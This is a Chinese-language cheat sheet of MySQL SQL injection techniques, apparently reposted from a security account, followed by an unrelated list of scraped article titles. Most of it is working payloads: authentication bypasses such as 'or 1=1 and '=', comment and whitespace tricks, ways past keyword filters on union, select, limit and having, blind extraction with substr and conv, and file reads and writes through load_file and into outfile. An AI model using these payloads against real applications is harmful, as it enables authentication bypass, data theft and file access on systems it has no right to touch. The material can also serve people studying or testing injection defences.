0x00 介绍

以下所有技巧都只在mysql适用,因为它太灵活了。

0x01 MYSQl灵活的语法

1 MySQL语法以及认证绕过

注释符:

#,-- X(X为任意字符)/*(MySQL-5.1);%00`'or 1=1;%00'or 1=1 union select 1,2`''or 1=1 #'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138'/*!or*/ 1=1 -- -

前缀:

任意混合+ - ~ !

'or --+2=- -!!!'2

测试后发现and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(混合后规律又不同),and/or前的空格可以省略

'or- -!!!1=1;

运算符:

^, =, !=, %, /, *, &, &&, |, ||, , <>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……'or 1 rlike '1

空格替换:%20, %09, %0a, %0b, %0c, %0d, %a0

也可以插入括号,前缀,操作符,引号

'or+(1)sounds/**/like"1"--%a0-

字符串格式

' or "a"='a'' or 'a'=n'a' //unicode' or 'a'=b'1100001' //binary' or 'a'=_binary'1100001' //5.5.41下测试无效' or 'a'=x'61' //16进制

2、MySQL常用的一些小工具

常量:true, false, null, \N, current_timestamp....

变量:@myvar:=1

系统变量:@@version, @@datadir....

常用函数:version(), pi(), pow(), char(), substring()....

3、MySQL类型转换

' or 1=true #true=1, false=0' or 1 #true' or version()=5.5 #5.5.41-log' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4select * from users where 'a'='b'='c'select * from users where ('a'='b')='c'select * from users where (false)='c'select * from users where (0)='c'select * from users where (0)=0select * from users where trueselect * from users

以上的语句都是同样的效果

4、认证绕过

绕过语句:'='

select data from users where name="="select data from users where flase="select data from users where 0=0

绕过语句:'-'

select data from users where name=''-''select data from users where name=0-0select data from users where 0=0

0x02 关键字过滤

空格

过滤代码/\s/

%20, %09, %0a, %0b, %0c, %0d, %a0

关键字OR,AND

过滤代码/\sor\s/i,/\sand\s/i

'||1='1 #or'=''&&1='1 #and

关键字union select

过滤代码/union\s+select/i

'and(true)like(false)union(select(pass)from(users))#'union [all|distinct] select pass from users#'union%a0select pass from users#'union/*!select*/pass from users#/vuln.php?id=1 union/*&sort=*/select pass from users-- -

如果单独过滤union,使用盲注来获取数据

'and(select pass from users limit 1)='secret

通过子查询获取单值来进行比较

关键字limit

过滤代码/limit/i

'and(select pass from users where id=1)='a'and(select pass from users group by id having id=1)='a'and length((select pass from users having substr(pass,1,1)='a'))

关键字having

过滤代码/having/i

'and(select substr(group_concat(pass),1,1)from users)='

关键字select ... from

过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i

select [all|distinct] pass from usersselect`table_name`from`information_schema` . `tables`select pass as alias from usersselect pass aliasalias from usersselect pass`alias alias`from usersselect+pass%a0from(users)

关键字select

过滤代码/select/i

1 有文件读取权限

' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt

2 获取列名

' and 列名 is not null#' procedure analyse()#

使用substr来做过滤条件

'and substr(pass,1,1)='a

关键字select,and,&

'0#

select data from users where name = ''-0 # int typecastselect data from users where name = 0 # int typecastselect data from users where 0 = 0 # true

'-1#

select data from users where 0 = -1 # false

使用条件判断来进行true、false的选择

ifnull(nullif()), case when, if()'-if(name='Admin',1,0)#

使用嵌套条件'-if(

if(name='Admin',1,0), // conditionif(substr(pass,1,1)='a',1,0) // if true,0)# // if false

0x03 函数过滤

构建字符串相关函数

unhex char hex ascii ord substr substring mid pad left right insert' and substr(data,1,1) = 'a'#' and substr(data,1,1) = 0x61# 0x6162' and substr(data,1,1) = unhex(61)# unhex(6162)' and substr(data,1,1) = char(97)# char(97,98)' and hex(substr(data,1,1)) = 61#' and ascii(substr(data,1,1)) = 97#' and ord(substr(data,1,1)) = 97#

使用conv来进行进制的转换

' and substr(data,1,1) = lower(conv(10,10,36))# 'a'' and substr(data,1,1) = lower(conv(11,10,36))# 'b'' and substr(data,1,1) = lower(conv(36,10,36))# 'z'

使用函数来猜解数据

' and substr(data,1,1) = 'a'#' and substring(data,1,1) = 'a'#' and mid(data,1,1) = 'a'#

不适用逗号来获取

' and substr(data from 1 for 1) = 'a'#

同样也可以使用一下比较少见的函数来尝试绕过

lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'left(data,1)reverse(right(reverse(data),1))insert(insert(version(),1,0,space(0)),2,222,space(0))

有些函数有类似搜索匹配的功能

'-if(locate('f',data),1,0)#'-if(locate('fo',data),1,0)#'-if(locate('foo',data),1,0)#instr(), position()

使用函数进行字符串的切割

length(trim(leading 'a' FROM data)) # length will be shorterlength(replace(data, 'a', '')) # length will be shorter

2种方式都是相同效果

0x04 注入时主要使用的一些东西

1个控制流程操作(select, case, if(), ...)1个比较操作(=, like, mod(), ...)1个字符串的猜解(mid(), left(), rpad(), …)1个字符串生成(0x61, hex(), conv())

使用conv([10-36],10,36)可以实现所有字符的表示

false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 Ktrue !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 Ltrue+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 Mfloor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 Nceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 Ofloor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 Pceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Qceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 Rfloor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 Sfloor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T

更多详细的东西可以参考原文,还有一些其他的注入资料可以参考

http://websec.ca/kb/sql_injection

往期精彩

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏

mysql注入技巧原理_MySQL注入技巧总结相关推荐

  1. (17)网络安全:cookie注入、二次注入、DNSlog注入、中转注入、堆叠注入的原理及注入过程

    目录 cookie注入 sqli-lasb-master less-21 方法一:用burpsuite进行抓包后修改 方法二:安装火狐的cookie manager等插件进行修改cookie 第一步: ...

  2. mysql的注入原理_mysql 注入原理以及防范

    一.注入原理 通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令 二.实例 1.建表sql CREATE TABLE `web_safe` ( ...

  3. mysql注入漏洞语句_mysql注入sleep语句引发的拒绝服务

    2012-2-15 9:26 Wednesdaymysql注入sleep语句引发的拒绝服务 mysql存在注入,并且注入的sleep语句如果传入一个足够大的参数,比如:sleep(9999999999 ...

  4. mysql注入写一句话_Mysql注入root权限直接写一句话马

    首先我们的找到一个有注入的站:这里我用自己搭建的环境表示:大家不要乱来 http://localhost/pentest/sql/sql_injection_get.php?id=1 发现是root权 ...

  5. mysql注入找路径_MySQL注入(示例代码)

    ---------------------------------------------------------------------------------------------------- ...

  6. php mysql首字母查询_MySQL应用技巧实现查询汉字的拼音首字母

    其实最好的方法还是用 PHP 来取拼音首字母,在 MySQL 里新建一个字段来存放 php 里查询汉字的拼音首字母已经有很多参考的代码了. 现在给出在mysql 里实现的, 测试环境是mysql-5. ...

  7. mysql的存储过程原理_mysql存储过程原理与用法详解

    本文实例讲述了Mysql存储过程原理与用法.分享给大家供大家参考,具体如下: 本文内容: 什么是存储过程 存储过程的创建 存储过程的使用 查看存储过程 修改存储过程 删除存储过程 首发日期:2018- ...

  8. mysql 写binlog 原理_MySQL binlog原理及应用

    01 概述 Binlog它记录了所有的DDL和DML(除了数据查询语句)语句,以事件(EVENT)形式记录,还包含语句所执行的消耗的时间,MySQL的二进制日志是事务安全型的. 一般来说开启二进制日志 ...

  9. mysql视图执行原理_MySql中的视图 触发器 存储过程,以及事物

    视图: 一个临时表被反复使用的时候,对这个临时表起一个别名,方便以后使用,就可以创建一个视图,别名就是视图的名称.视图只是一个虚拟的表,其中的数据是动态的从物理表中读出来的,所以物理表的变更回改变视图 ...

最新文章

  1. 多个linux发行版本混合安装盘,使用 MultiBootUSB 安装多个 Linux 版本
  2. JavaScript document write String content writes nothing o
  3. React Fiber源码逐个击破系列-scheduler
  4. xshell和Xftp连接Linux
  5. Redis下载安装-Windows版本
  6. DevOps管道中的测试
  7. 如何用easyx播放音乐,插入图片
  8. Codeforces Round #499 (Div. 2) 1011 C. Fly 二分
  9. TOREX | 如何延长设备的电池寿命?——充电IC
  10. cesium实时获取卫星的动态信息,包括经纬度和名称(onTick)
  11. 万能数据库查询分析器使用技巧之(九)
  12. k8s部署zookeeper集群 运行 ZooKeeper, 一个 CP 分布式系统
  13. 1069. The Black Hole of Numbers (20)
  14. CentOS7部署fabric
  15. 使用Python计算离散随机变量的熵(Entropy)
  16. w ndows无法识别usb,Vista操作系统为什么无法识别USB设备?
  17. 云同步的便签内容在哪里能找到,换了电脑怎样能找到以前的便签内容
  18. 夺命雷公狗---DEDECMS----27dedecms电影的下载地址的完成
  19. 企企通荣登「2022软件创新企业100强」,采购供应链数字化领域唯一上榜
  20. 用Win 2003架设邮件服务器(转)

热门文章

  1. 基于bootstrap框架在ie8以下,兼容媒体查询[css样式]
  2. SQL Server 2008R2数据库文件导入到SQL Server 2008数据库中
  3. SQL基础---SQL AND OR 运算符
  4. 云南干旱 谁人受损 心有戚戚 愤怒哀伤
  5. static关键字 void和void指针 函数指针
  6. Mysql数据库存储原理
  7. 案例 github_2019年12月Github上最热门的Java开源项目,速来围观!
  8. 每日一题(30)—— 局部变量能否和全局变量重名?
  9. 单片机中通用的类型别名
  10. python队列只能一个个读取吗_python队列Queue的详解